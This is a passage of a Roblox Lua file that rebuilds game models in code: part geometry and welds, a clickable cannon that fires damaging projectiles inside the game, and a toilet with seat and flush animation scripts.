Part889.Rotation = Vector3.new(117.239998, 62.7599983, -90)
Part889.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part889.Size = Vector3.new(1, 2.4000001, 1)
Part889.Anchored = true
Part889.BottomSurface = Enum.SurfaceType.Smooth
Part889.BrickColor = BrickColor.new("Really black")
Part889.TopSurface = Enum.SurfaceType.Smooth
Part889.brickColor = BrickColor.new("Really black")
BlockMesh890.Parent = Part889
BlockMesh890.Scale = Vector3.new(0.5, 1.5, 0.5)
Part891.Parent = Model882
Part891.CFrame = CFrame.new(194.60434, 2.6816864, -75.3787079, 1.00000024, -7.36908987e-06, 1.05607323e-05, 1.29035907e-05, 0.581115961, -0.813820601, -1.27358362e-07, 0.813820958, 0.581116319)
Part891.Orientation = Vector3.new(54.4700012, 0, 0)
Part891.Position = Vector3.new(194.60434, 2.6816864, -75.3787079)
Part891.Rotation = Vector3.new(54.4700012, 0, 0)
Part891.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part891.Size = Vector3.new(1, 2.4000001, 1)
Part891.Anchored = true
Part891.BottomSurface = Enum.SurfaceType.Smooth
Part891.BrickColor = BrickColor.new("Really black")
Part891.TopSurface = Enum.SurfaceType.Smooth
Part891.brickColor = BrickColor.new("Really black")
BlockMesh892.Parent = Part891
BlockMesh892.Scale = Vector3.new(0.5, 1.5, 0.5)
Part893.Parent = Model882
Part893.CFrame = CFrame.new(193.936874, 3.51823425, -73.0811615, 0.00267499872, -0.690129817, -0.723680794, -0.457609951, 0.642619669, -0.614518344, 0.889149189, 0.332807541, -0.314091444)
Part893.Orientation = Vector3.new(37.9199982, -113.459999, -35.4500008)
Part893.Position = Vector3.new(193.936874, 3.51823425, -73.0811615)
Part893.Rotation = Vector3.new(117.07, -46.3600006, 89.7799988)
Part893.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part893.Size = Vector3.new(1, 4, 1)
Part893.Anchored = true
Part893.BottomSurface = Enum.SurfaceType.Smooth
Part893.BrickColor = BrickColor.new("Dark stone grey")
Part893.TopSurface = Enum.SurfaceType.Smooth
Part893.brickColor = BrickColor.new("Dark stone grey")
CylinderMesh894.Parent = Part893
CylinderMesh894.Scale = Vector3.new(1.5, 1, 1.5)
Weld895.Parent = Part893
Weld895.C0 = CFrame.new(0, 0, -0.5, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld895.C1 = CFrame.new(0, -0.200004578, 1.49998474, -1.00000036, 2.98023224e-07, 2.98023224e-07, -2.98023224e-07, -1.1920929e-07, 1.00000012, -2.98023224e-07, 1, -1.1920929e-07)
Weld895.Part0 = Part893
Weld895.Part1 = Part910
Weld895.part1 = Part910
Weld896.Parent = Part893
Weld896.C0 = CFrame.new(0, 0, -0.5, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld896.C1 = CFrame.new(0, -0.200004578, 1.49998474, -1.00000036, 2.98023224e-07, 2.98023224e-07, -2.98023224e-07, -1.1920929e-07, 1.00000012, -2.98023224e-07, 1, -1.1920929e-07)
Weld896.Part0 = Part893
Weld896.Part1 = Part910
Weld896.part1 = Part910
Weld897.Parent = Part893
Weld897.C0 = CFrame.new(0, 0, -0.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld897.C1 = CFrame.new(3.81469727e-06, -0.200012207, 1.49999237, -0.999999046, 3.25962901e-08, -2.94763595e-07, -4.19095159e-09, 0, 1.00000012, 1.47614628e-07, 0.999999464, -4.76837158e-07)
Weld897.Part0 = Part893
Weld897.Part1 = Part910
Weld897.part1 = Part910
Part898.Parent = Model882
Part898.CFrame = CFrame.new(192.419281, 4.93218994, -72.348999, -0.00267499872, 0.690129817, -0.723680794, 0.457609951, -0.642619669, -0.614518344, -0.889149189, -0.332807541, -0.314091444)
Part898.Orientation = Vector3.new(37.9199982, -113.459999, 144.550003)
Part898.Position = Vector3.new(192.419281, 4.93218994, -72.348999)
Part898.Rotation = Vector3.new(117.07, -46.3600006, -90.2200012)
Part898.Color = Color3.new(0.388235, 0.372549, 0.384314)
Part898.Size = Vector3.new(1, 0.400000006, 1)
Part898.Anchored = true
Part898.BottomSurface = Enum.SurfaceType.Smooth
Part898.BrickColor = BrickColor.new("Dark stone grey")
Part898.TopSurface = Enum.SurfaceType.Smooth
Part898.brickColor = BrickColor.new("Dark stone grey")
CylinderMesh899.Parent = Part898
CylinderMesh899.Scale = Vector3.new(1.79999995, 2, 1.79999995)
Model900.Name = "Part"
Model900.Parent = Model882
Model901.Name = "GunBarrel"
Model901.Parent = Model900
Part902.Name = "One"
Part902.Parent = Model901
Part902.CFrame = CFrame.new(191.659531, 5.63937378, -71.9826508, -0.690129817, 0.723680794, -0.00267499872, 0.642619669, 0.614518344, 0.457609951, 0.332807541, 0.314091444, -0.889149189)
Part902.Orientation = Vector3.new(-27.2299995, -179.830002, 46.2799988)
Part902.Position = Vector3.new(191.659531, 5.63937378, -71.9826508)
Part902.Rotation = Vector3.new(-152.770004, -0.150000006, -133.639999)
Part902.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part902.Transparency = 1
Part902.Size = Vector3.new(1, 1, 1)
Part902.Anchored = true
Part902.BackSurface = Enum.SurfaceType.Weld
Part902.BottomSurface = Enum.SurfaceType.Weld
Part902.BrickColor = BrickColor.new("Really black")
Part902.FrontSurface = Enum.SurfaceType.Weld
Part902.LeftSurface = Enum.SurfaceType.Weld
Part902.RightParamA = 0
Part902.RightParamB = 0
Part902.RightSurface = Enum.SurfaceType.Weld
Part902.TopSurface = Enum.SurfaceType.Weld
Part902.brickColor = BrickColor.new("Really black")
Part902.Shape = Enum.PartType.Cylinder
Weld903.Parent = Part902
Weld903.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld903.C1 = CFrame.new(0, -0.2003479, 0.000114440918, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07)
Weld903.Part0 = Part902
Weld903.Part1 = Part887
Weld903.part1 = Part887
Weld904.Parent = Part902
Weld904.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld904.C1 = CFrame.new(0, -0.2003479, 0.000106811523, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07)
Weld904.Part0 = Part902
Weld904.Part1 = Part887
Weld904.part1 = Part887
Weld905.Parent = Part902
Weld905.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld905.C1 = CFrame.new(-3.81469727e-06, -0.2003479, 0.000114440918, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07)
Weld905.Part0 = Part902
Weld905.Part1 = Part887
Weld905.part1 = Part887
Weld906.Parent = Part902
Weld906.C0 = CFrame.new(-0.5, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Weld906.C1 = CFrame.new(1.71661377e-05, -0.200332642, 0.000106811523, 0.999994516, 4.69619408e-07, -5.77419996e-07, -6.07455149e-07, 1.25169754e-06, 0.999997139, -4.69619408e-07, -1.00000024, -1.25169754e-06)
Weld906.Part0 = Part902
Weld906.Part1 = Part887
Weld906.part1 = Part887
Weld907.Parent = Part902
Weld907.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld907.C1 = CFrame.new(0, -0.2003479, 0.000114440918, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07)
Weld907.Part0 = Part902
Weld907.Part1 = Part887
Weld907.part1 = Part887
Weld908.Parent = Part902
Weld908.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld908.C1 = CFrame.new(-3.81469727e-06, -0.2003479, 0.000114440918, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07)
Weld908.Part0 = Part902
Weld908.Part1 = Part887
Weld908.part1 = Part887
Weld909.Parent = Part902
Weld909.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld909.C1 = CFrame.new(0, -0.2003479, 0.000106811523, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07)
Weld909.Part0 = Part902
Weld909.Part1 = Part887
Weld909.part1 = Part887
Part910.Name = "Switch"
Part910.Parent = Model900
Part910.CFrame = CFrame.new(195.478653, 2.98448181, -73.3605042, 0.00267499872, 0.723680794, -0.690129817, -0.457609951, 0.614518344, 0.642619669, 0.889149189, 0.314091444, 0.332807541)
Part910.Orientation = Vector3.new(-39.9900017, -64.25, -36.6699982)
Part910.Position = Vector3.new(195.478653, 2.98448181, -73.3605042)
Part910.Rotation = Vector3.new(-62.6199989, -43.6399994, -89.7900009)
Part910.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part910.Size = Vector3.new(1, 0.400000006, 1)
Part910.Anchored = true
Part910.BottomSurface = Enum.SurfaceType.Weld
Part910.BrickColor = BrickColor.new("Bright green")
Part910.TopSurface = Enum.SurfaceType.Smooth
Part910.brickColor = BrickColor.new("Bright green")
ClickDetector911.Parent = Part910
ClickDetector911.MaxActivationDistance = 6
Script912.Name = "CannonBall"
Script912.Parent = Part910
table.insert(cors,sandbox(Script912,function()
ball = script.Parent
damage = 100
function onTouched(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
if humanoid~=nil then
tagHumanoid(humanoid)
humanoid.Health = humanoid.Health - damage
wait(0.00000001)
untagHumanoid(humanoid)
connection:disconnect()
else
damage = damage / 2
if damage < 2 then
connection:disconnect()
ball.Parent = nil
end
end
if math.random(1,1) == 1 then
explosion = Instance.new("Explosion")
explosion.BlastRadius = 6
explosion.BlastPressure = 100000 -- these are really wussy units
explosion.Position = script.Parent.Position
explosion.Parent = game.Workspace
connection:disconnect()
ball.Parent = nil
cancollide = true
end
end
function tagHumanoid(humanoid)
-- todo: make tag expire
local tag = ball:findFirstChild("creator")
if tag ~= nil then
local new_tag = tag:clone()
new_tag.Parent = humanoid
end
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
connection = ball.Touched:connect(onTouched)
r = game:service("RunService")
t, s = r.Stepped:wait()
d = t + 5.0 - s
while t < d do
t = r.Stepped:wait()
end
ball.Parent = nil
end))
Script912.Disabled = true
Script913.Name = "FireGun"
Script913.Parent = Part910
table.insert(cors,sandbox(Script913,function()
local switch = script.Parent
local gunBarrelOne = script.Parent.Parent.GunBarrel.One
local debounce = false
local gunOne = true
local cannonBall = Instance.new("Part")
cannonBall.Size = Vector3.new(1,1,1)
cannonBall.BrickColor = BrickColor.new(26) -- medium blue
cannonBall.Shape = 0
cannonBall.BottomSurface = 0
cannonBall.TopSurface = 0
cannonBall.Name = "Cannon Shot"
cannonBall.Elasticity = .1
cannonBall.Reflectance = .2
cannonBall.Friction = .5
function fire(player)
local sound = script.Parent:findFirstChild("GunSound")
if sound == nil then
sound = Instance.new("Sound")
sound.Name = "GunSound"
sound.SoundId = "rbxasset://sounds\collide.wav"
sound.Volume = 1
sound.Parent = script.Parent
end
sound:play()
local missile = Instance.new("Part")
local barrel
if gunOne == true then
barrel = gunBarrelOne
gunOne = true
end
local spawnPos = barrel.CFrame * Vector3.new(6, 0, 0)
local dx = math.random(50,50)
local dy = math.random(0,0)
local dz = math.random(0,0)
local mag = math.random(200,200)
local v = barrel.CFrame:vectorToWorldSpace(Vector3.new(mag + dx,dy,dz))
local missile = cannonBall:clone()
missile.Position = spawnPos
missile.Velocity = v
local new_script = script.Parent.CannonBall:clone()
new_script.Disabled = false
new_script.Parent = missile
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
end
function onClicked()
if debounce == false then
debounce = true
switch.BrickColor = BrickColor.new(21)
-- let slip the dogs of war
fire(player)
wait(.001)
wait(3)
debounce = false
switch.BrickColor = BrickColor.new(37)
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
end))
Weld914.Parent = Part910
Weld914.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld914.C1 = CFrame.new(0, -1.5, -0.500030518, 1.00000036, 2.98023224e-07, -2.98023224e-07, 2.98023224e-07, 1, 1.1920929e-07, -2.98023224e-07, 1.1920929e-07, 1.00000012)
Weld914.Part0 = Part910
Weld914.Part1 = Part893
Weld914.part1 = Part893
Weld915.Parent = Part910
Weld915.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld915.C1 = CFrame.new(0, -1.5, -0.500030518, 1.00000036, 2.98023224e-07, -2.98023224e-07, 2.98023224e-07, 1, 1.1920929e-07, -2.98023224e-07, 1.1920929e-07, 1.00000012)
Weld915.Part0 = Part910
Weld915.Part1 = Part893
Weld915.part1 = Part893
Weld916.Parent = Part910
Weld916.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld916.C1 = CFrame.new(3.81469727e-06, -1.49998474, -0.500030518, 1.00000036, 2.98023224e-07, -2.98023224e-07, 2.98023224e-07, 1, 1.1920929e-07, -2.98023224e-07, 1.1920929e-07, 1.00000012)
Weld916.Part0 = Part910
Weld916.Part1 = Part893
Weld916.part1 = Part893
Weld917.Parent = Part910
Weld917.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld917.C1 = CFrame.new(3.81469727e-06, -1.49998474, -0.500030518, 1.00000036, 2.98023224e-07, -2.98023224e-07, 2.98023224e-07, 1, 1.1920929e-07, -2.98023224e-07, 1.1920929e-07, 1.00000012)
Weld917.Part0 = Part910
Weld917.Part1 = Part893
Weld917.part1 = Part893
Sound918.Name = "GunSound"
Sound918.Parent = Part910
Sound918.PlayOnRemove = true
Sound918.SoundId = "rbxasset://sounds/collide.wav"
Sound918.Volume = 1
Model919.Parent = Model319
Model920.Name = "Toilet"
Model920.Parent = Model919
UnionOperation921.Name = "ToiletSeat"
UnionOperation921.Parent = Model920
UnionOperation921.CFrame = CFrame.new(227.427338, 1.70000398, -134.084274, 0.707106769, 0, 0.707106769, 0, 1, 0, -0.707106769, 0, 0.707106769)
UnionOperation921.Orientation = Vector3.new(0, 45, 0)
UnionOperation921.Position = Vector3.new(227.427338, 1.70000398, -134.084274)
UnionOperation921.Rotation = Vector3.new(0, 45, 0)
UnionOperation921.Color = Color3.new(0.898039, 0.894118, 0.87451)
UnionOperation921.Size = Vector3.new(2.4000001, 0.200000197, 2.80000019)
UnionOperation921.Anchored = true
UnionOperation921.BrickColor = BrickColor.new("Light stone grey")
UnionOperation921.Material = Enum.Material.SmoothPlastic
UnionOperation921.brickColor = BrickColor.new("Light stone grey")
UnionOperation921.UsePartColor = true
Part922.Parent = Model920
Part922.CFrame = CFrame.new(228.700134, 2.30000091, -132.811462, 0.707106769, 0, 0.707106769, 0, 1, 0, -0.707106769, 0, 0.707106769)
Part922.Orientation = Vector3.new(0, 45, 0)
Part922.Position = Vector3.new(228.700134, 2.30000091, -132.811462)
Part922.Rotation = Vector3.new(0, 45, 0)
Part922.Color = Color3.new(0.898039, 0.894118, 0.87451)
Part922.Size = Vector3.new(2, 1.39999998, 0.800000012)
Part922.Anchored = true
Part922.BottomSurface = Enum.SurfaceType.Smooth
Part922.BrickColor = BrickColor.new("Light stone grey")
Part922.Material = Enum.Material.SmoothPlastic
Part922.TopSurface = Enum.SurfaceType.Smooth
Part922.brickColor = BrickColor.new("Light stone grey")
Part922.FormFactor = Enum.FormFactor.Custom
Part922.formFactor = Enum.FormFactor.Custom
UnionOperation923.Name = "ToiletBowl"
UnionOperation923.Parent = Model920
UnionOperation923.CFrame = CFrame.new(227.71019, 0.800004959, -133.801407, 0.707106769, 0, 0.707106769, 0, 1, 0, -0.707106769, 0, 0.707106769)
UnionOperation923.Orientation = Vector3.new(0, 45, 0)
UnionOperation923.Position = Vector3.new(227.71019, 0.800004959, -133.801407)
UnionOperation923.Rotation = Vector3.new(0, 45, 0)
UnionOperation923.Color = Color3.new(0.898039, 0.894118, 0.87451)
UnionOperation923.Size = Vector3.new(2.4000001, 1.60000062, 3.599998)
UnionOperation923.Anchored = true
UnionOperation923.BrickColor = BrickColor.new("Light stone grey")
UnionOperation923.Material = Enum.Material.SmoothPlastic
UnionOperation923.brickColor = BrickColor.new("Light stone grey")
UnionOperation923.UsePartColor = true
Part924.Name = "Interactive"
Part924.Parent = Model920
Part924.CFrame = CFrame.new(229.6194, 2.80000091, -133.589279, 0.707106769, -0.707106769, 0, 0, 0, 1, -0.707106769, -0.707106769, 0)
Part924.Orientation = Vector3.new(-90, 45, 0)
Part924.Position = Vector3.new(229.6194, 2.80000091, -133.589279)
Part924.Rotation = Vector3.new(-90, 0, 45)
Part924.Color = Color3.new(0.584314, 0.537255, 0.533333)
Part924.Size = Vector3.new(0.200000003, 0.400000006, 0.200000003)
Part924.Anchored = true
Part924.BottomSurface = Enum.SurfaceType.Smooth
Part924.BrickColor = BrickColor.new("Hurricane grey")
Part924.Material = Enum.Material.SmoothPlastic
Part924.Reflectance = 0.10000000149012
Part924.TopSurface = Enum.SurfaceType.Smooth
Part924.brickColor = BrickColor.new("Hurricane grey")
Part924.FormFactor = Enum.FormFactor.Custom
Part924.formFactor = Enum.FormFactor.Custom
CylinderMesh925.Parent = Part924
CylinderMesh925.Scale = Vector3.new(0.800000012, 1, 0.800000012)
ClickDetector926.Parent = Part924
ClickDetector926.MaxActivationDistance = 12
Part927.Name = "Handle"
Part927.Parent = Model920
Part927.CFrame = CFrame.new(229.619385, 2.80000091, -133.447861, 0, 0.707106769, 0.707106769, -1, 0, 0, 0, -0.707106769, 0.707106769)
Part927.Orientation = Vector3.new(0, 45, -90)
Part927.Position = Vector3.new(229.619385, 2.80000091, -133.447861)
Part927.Rotation = Vector3.new(0, 45, -90)
Part927.Color = Color3.new(0.584314, 0.537255, 0.533333)
Part927.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part927.Anchored = true
Part927.BottomSurface = Enum.SurfaceType.Smooth
Part927.BrickColor = BrickColor.new("Hurricane grey")
Part927.Material = Enum.Material.SmoothPlastic
Part927.Reflectance = 0.10000000149012
Part927.TopSurface = Enum.SurfaceType.Smooth
Part927.brickColor = BrickColor.new("Hurricane grey")
Part927.FormFactor = Enum.FormFactor.Custom
Part927.formFactor = Enum.FormFactor.Custom
CylinderMesh928.Parent = Part927
CylinderMesh928.Scale = Vector3.new(0.800000012, 1, 0.800000012)
Script929.Name = "ToiletScript"
Script929.Parent = Model920
table.insert(cors,sandbox(Script929,function()
local seat = script.Parent.Seat
seat.ChildAdded:connect(function(obj)
if obj.Name == "SeatWeld" then
local player = game.Players:GetPlayerFromCharacter(obj.Part1.Parent)
if player then
script.Parent.Water.BrickColor = BrickColor.new("Cool yellow")
script.Parent.ToiletUsed.Value = true
end
end
end)
end))
Seat930.Parent = Model920
Seat930.CFrame = CFrame.new(227.639465, 1.70000398, -133.872131, 0.707106709, 0, 0.707106709, 0, 1, 0, -0.707106709, 0, 0.707106709)
Seat930.Orientation = Vector3.new(0, 45, 0)
Seat930.Position = Vector3.new(227.639465, 1.70000398, -133.872131)
Seat930.Rotation = Vector3.new(0, 45, 0)
Seat930.Color = Color3.new(0.105882, 0.164706, 0.207843)
Seat930.Transparency = 1
Seat930.Size = Vector3.new(2, 0.200000003, 1.39999998)
Seat930.BottomSurface = Enum.SurfaceType.Weld
Seat930.BrickColor = BrickColor.new("Black")
Seat930.TopSurface = Enum.SurfaceType.Smooth
Seat930.brickColor = BrickColor.new("Black")
Seat930.FormFactor = Enum.FormFactor.Custom
Seat930.formFactor = Enum.FormFactor.Custom
Weld931.Parent = Seat930
Weld931.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld931.C1 = CFrame.new(0, 0.799998939, -0.100021362, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld931.Part0 = Seat930
Weld931.Part1 = UnionOperation923
Weld931.part1 = UnionOperation923
Weld932.Parent = Seat930
Weld932.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld932.C1 = CFrame.new(0.900016785, 0.100000978, -0.299987793, -1, 0, 0, 0, 0, -1, 0, -1, 0)
Weld932.Part0 = Seat930
Weld932.Part1 = Part945
Weld932.part1 = Part945
Weld933.Parent = Seat930
Weld933.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld933.C1 = CFrame.new(0.900024414, 0.100000978, 0.300033569, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld933.Part0 = Seat930
Weld933.Part1 = Part971
Weld933.part1 = Part971
Weld934.Parent = Seat930
Weld934.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld934.C1 = CFrame.new(0, 0.799998939, -0.100021362, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld934.Part0 = Seat930
Weld934.Part1 = UnionOperation923
Weld934.part1 = UnionOperation923
Weld935.Parent = Seat930
Weld935.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld935.C1 = CFrame.new(0, 0.799998999, -0.100013733, 0.99999994, 0, 0, 0, 0, -1, 0, 0.99999994, 0)
Weld935.Part0 = Seat930
Weld935.Part1 = UnionOperation923
Weld935.part1 = UnionOperation923
Weld936.Parent = Seat930
Weld936.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld936.C1 = CFrame.new(0.900009155, 0.100000978, 0.30002594, 0.99999994, 0, 0, 0, 0, -1, 0, 0.99999994, 0)
Weld936.Part0 = Seat930
Weld936.Part1 = Part971
Weld936.part1 = Part971
Weld937.Parent = Seat930
Weld937.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld937.C1 = CFrame.new(0.900032043, 0.100000978, 0.300033569, 1, 0, 0, 0, 0, -1, 0, 1, 0)
Weld937.Part0 = Seat930
Weld937.Part1 = Part971
Weld937.part1 = Part971
Script938.Name = "FlushScript"
Script938.Parent = Model920
table.insert(cors,sandbox(Script938,function()
local ClickerModule = require(343254562)
local clickEvent = ClickerModule.RemoteEvent
local interactiveParts = {}
local activationDistance = 12
local flushing = false
local water = script.Parent.Water
local sound = water.FlushSound
for i, v in pairs(script.Parent:GetChildren()) do
if v.Name == "Interactive" then
table.insert(interactiveParts, v)
end
end
local function distanceToCharacter(player, part)
local character = player.Character
if character then
local torso = character:FindFirstChild("Torso")
if torso then
return((torso.Position - part.Position).magnitude)
end
end
return math.huge
end
function toiletHandle()
for i = 1, 5 do
script.Parent.Interactive.CFrame = script.Parent.Handle.CFrame * CFrame.Angles(math.pi/2, 0, math.rad(12) * i) * CFrame.new(0, -0.1, -0.1)
wait()
end
wait(1)
for i = 5, 1, -1 do
script.Parent.Interactive.CFrame = script.Parent.Handle.CFrame * CFrame.Angles(math.pi/2, 0, math.rad(12) * (i - 1)) * CFrame.new(0, -0.1, -0.1)
wait()
end
end
clickEvent.OnServerEvent:connect(function(player, part)
local isPart = false
for i = 1, #interactiveParts do
if part == interactiveParts[i] then
isPart = true
end
end
if isPart and player.Character and distanceToCharacter(player, part) <= activationDistance then
if flushing == false then
flushing = true
spawn(toiletHandle)
sound:Play()
for i, v in pairs(script.Parent:GetChildren()) do
if v.Name == "WaterSwirl" then
v.ParticleEmitter.Transparency = NumberSequence.new(0.9)
v.ParticleEmitter.Rate = 40
end
end
for i = 1, 4 do
water.CFrame = water.CFrame * CFrame.new(0, 0.01, 0)
wait()
end
for i = 1, 22 do
water.Mesh.Scale = water.Mesh.Scale + Vector3.new(-0.02, 0, -0.02)
water.CFrame = water.CFrame * CFrame.new(0, -0.015, 0)
wait()
end
if script.Parent.ToiletUsed.Value == true then
water.BrickColor = BrickColor.new("Pastel yellow")
end
wait(1)
for i = 1, 10 do
print(i)
for ii, v in pairs(script.Parent:GetChildren()) do
if v.Name == "WaterSwirl" then
v.ParticleEmitter.Transparency = NumberSequence.new(0.9 + (0.015 * i))
if i == 10 then
v.ParticleEmitter.Rate = 0
end
end
end
wait(0.2)
end
script.Parent.ToiletUsed.Value = false
water.BrickColor = BrickColor.new("Fog")
for i = 1, 66 do
water.Mesh.Scale = water.Mesh.Scale + Vector3.new(0.0066, 0, 0.0066)
water.CFrame = water.CFrame * CFrame.new(0, 0.00409, 0)
wait()
end
water.CFrame = script.Parent.WaterResetPos.CFrame
water.Mesh.Scale = Vector3.new(1,0,1)
flushing = false
end
end
end)
end))
Part939.Name = "WaterResetPos"
Part939.Parent = Model920
Part939.CFrame = CFrame.new(227.427353, 1.10000098, -134.084259, -0.707106769, 0, -0.707106769, 0, 1, 0, 0.707106769, 0, -0.707106769)
Part939.Orientation = Vector3.new(0, -135, 0)
Part939.Position = Vector3.new(227.427353, 1.10000098, -134.084259)
Part939.Rotation = Vector3.new(-180, -45, -180)
Part939.Color = Color3.new(0.780392, 0.831373, 0.894118)
Part939.Transparency = 1
Part939.Size = Vector3.new(2, 0.200000003, 2)
Part939.Anchored = true
Part939.BottomSurface = Enum.SurfaceType.Smooth
Part939.BrickColor = BrickColor.new("Fog")
Part939.CanCollide = false
Part939.Material = Enum.Material.Ice
Part939.TopSurface = Enum.SurfaceType.Smooth
Part939.brickColor = BrickColor.new("Fog")
Part939.FormFactor = Enum.FormFactor.Custom
Part939.formFactor = Enum.FormFactor.Custom
ParticleEmitter940.Name = "SteamEmitter"
ParticleEmitter940.Parent = Part939
ParticleEmitter940.Speed = NumberRange.new(0.5, 0.5)
ParticleEmitter940.Enabled = false
ParticleEmitter940.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter940.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter940.Lifetime = NumberRange.new(2, 4)
ParticleEmitter940.Rate = 10
Part941.Name = "Water"
Part941.Parent = Model920
Part941.CFrame = CFrame.new(227.427353, 1.10000098, -134.084259, -0.707106769, 0, -0.707106769, 0, 1, 0, 0.707106769, 0, -0.707106769)
Part941.Orientation = Vector3.new(0, -135, 0)
Part941.Position = Vector3.new(227.427353, 1.10000098, -134.084259)
Part941.Rotation = Vector3.new(-180, -45, -180)
Part941.Color = Color3.new(0.780392, 0.831373, 0.894118)
Part941.Transparency = 0.60000002384186
Part941.Size = Vector3.new(2, 0.200000003, 2)
Part941.Anchored = true
Part941.BottomSurface = Enum.SurfaceType.Smooth
Part941.BrickColor = BrickColor.new("Fog")
Part941.CanCollide = false
Part941.Material = Enum.Material.Ice
Part941.TopSurface = Enum.SurfaceType.Smooth
Part941.brickColor = BrickColor.new("Fog")
Part941.FormFactor = Enum.FormFactor.Custom
Part941.formFactor = Enum.FormFactor.Custom
ParticleEmitter942.Name = "SteamEmitter"
ParticleEmitter942.Parent = Part941
ParticleEmitter942.Speed = NumberRange.new(0.5, 0.5)
ParticleEmitter942.Enabled = false
ParticleEmitter942.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter942.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter942.Lifetime = NumberRange.new(2, 4)
ParticleEmitter942.Rate = 10
CylinderMesh943.Parent = Part941
CylinderMesh943.Scale = Vector3.new(1, 0, 1)
Sound944.Name = "FlushSound"
Sound944.Parent = Part941
Sound944.EmitterSize = 0
Sound944.MinDistance = 0
Sound944.SoundId = "rbxassetid://367735596"
Part945.Name = "WaterSwirl"
Part945.Parent = Model920
Part945.CFrame = CFrame.new(228.063766, 1.50000298, -134.720673, -0.707106769, 0, -0.707106769, 0, 1, 0, 0.707106769, 0, -0.707106769)
Part945.Orientation = Vector3.new(0, -135, 0)
Part945.Position = Vector3.new(228.063766, 1.50000298, -134.720673)
Part945.Rotation = Vector3.new(-180, -45, -180)
Part945.Transparency = 1
Part945.Size = Vector3.new(0.200000003, 0.200000003, 0.400000006)
Part945.Anchored = true
Part945.BottomSurface = Enum.SurfaceType.Smooth
Part945.CanCollide = false
Part945.TopSurface = Enum.SurfaceType.Smooth
Part945.FormFactor = Enum.FormFactor.Custom
Part945.formFactor = Enum.FormFactor.Custom
ParticleEmitter946.Parent = Part945
ParticleEmitter946.Speed = NumberRange.new(-2, -2)
ParticleEmitter946.Color = ColorSequence.new(Color3.new(0.909804, 1, 0.941177),Color3.new(0.792157, 0.913726, 1))
ParticleEmitter946.Texture = "rbxasset://textures/particles/smoke_main.dds"
ParticleEmitter946.Transparency = NumberSequence.new(0.89999997615814,0.89999997615814)
ParticleEmitter946.Size = NumberSequence.new(0.20000000298023,0.20000000298023)
ParticleEmitter946.Acceleration = Vector3.new(20, 0, 10)
ParticleEmitter946.Lifetime = NumberRange.new(0.30000001192093, 0.30000001192093)
ParticleEmitter946.LockedToPart = true
ParticleEmitter946.Rate = 0
Weld947.Parent = Part945
Weld947.C0 = CFrame.new(0, 0.100000001, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
